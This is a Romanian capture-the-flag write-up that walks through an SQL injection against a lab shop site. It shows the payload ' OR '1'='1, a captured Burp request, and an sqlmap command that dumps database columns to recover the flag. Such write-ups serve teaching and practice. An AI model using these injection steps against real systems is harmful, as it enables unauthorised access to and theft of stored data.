

schematics

Din descrierea chall ne dam seama ca este un fel de magazin deci de aici ne dam seama ca poate contine un database pe undeva deci putem sa ne folosim de o vulnerabilitate de tip sqli. Un **SQL injection (SQLi)** este o vulnerabilitate de securitate care permite unui atacator să introducă sau să manipuleze comenzi SQL într-o aplicație, pentru a obține acces neautorizat la baza de date sau pentru a modifica datele stocate acolo. Această vulnerabilitate apare de obicei atunci când aplicațiile web nu filtrează corect datele introduse de utilizatori și permit inserarea de comenzi SQL malițioase în interogările care sunt executate pe baza de date. De exemplu, într-un formular de logare, un atacator ar putea introduce un input precum:

' OR '1'='1

Cand accesam url vedem ca ne cere sa ne logam pe site doar ca nestiind ce users exista acolo este cam greu sa incercam sa facem un sqli. Asa ca m-am gandit sa folosesc dirbuster pentru endpointuri unde se poate observa register.php:

`register.php`

La inceput credeam ca era vorba sa accesam contul la admin doar ca nu aveam nicio informatie ca ar fi fost acolo flagul sau cum sa reusesc asta. Revenind la index.php dupa ce ne logam putem vedea ca avem un search bar unde gasim produsele prezente din magazin:

Hello, masc!

Glad to see you back!

Look up products

Aici mi-am dat seama ca puteam incerca sa gasim manual u payload care sa dea dump la tot database-ul sau un tool automatic ca sqlmap.

```
1 POST /index.php HTTP/1.1
2 Host: 35.246.139.54:32751
3 Content-Length: 29
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Origin: http://35.246.139.54:32751
7 Content-Type: application/x-www-form-urlencoded
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/130.0.6723.70 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
  q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://35.246.139.54:32751/index.php
12 Accept-Encoding: gzip, deflate, br
13 Cookie: PHPSESSID=55f7b437e0d8307e690634adfc3f118f
14 Connection: keep-alive
15
16 product_name=da&submit=Search
```

Asa cum se vede din burpsuite avem 2 parametri injectabili "product_name" si "submit". Singurul lucru ramas este sa folosim toolul sqlmap pentru a obtine tot informatiile din database. Folosim:

sqlmap --cookie="PHPSESSID=cookie" --url http://35.246.139.54:32751/index.php --forms --columns



```
masquerade@parrot: ~/Downloads
$ sqlmap --cookie="PHPSESSID=55f7b437e0d8307e690634adfc3f118f" --url http://35.246.139.54:32751/index.php --forms --columns
```

The screenshot shows a terminal window on the left with the sqlmap command being executed. On the right, a web browser displays the target application's login page, which has a title bar that says "Introducere" and a message in Romanian: "Tip: Dacă veți utiliza contul de administrator, veți primi cu succes, veți fi redirecționat către pagina de administrare. Utilizați acest cont, considerat ca mai sigur și sigur decât cel de administrator." Below the message is a "Logare" button.

--forms: Analizează formularele de pe pagina indicată pentru a căuta posibile puncte de intrare pentru SQL injection.

--columns: Încearcă să extragă și să afișeze numele coloanelor din tabelele bazei de date de pe serverul țintă.

Dupa putin timp obtinem rezultate cu jumtate din flag iar restul aflandu-se in acelasi tabel:

```
Table: CTF{1nformat1on_sch3ma_c4n_
[4 columns]
+-----+-----+
| Column | Type   |
+-----+-----+
| _d4t4}  | date   |
| cont41n_ | varchar(20) |
```

Flag:

CTF{1nformat1on_sch3ma...._d4t4}

Trolled by masquerade8077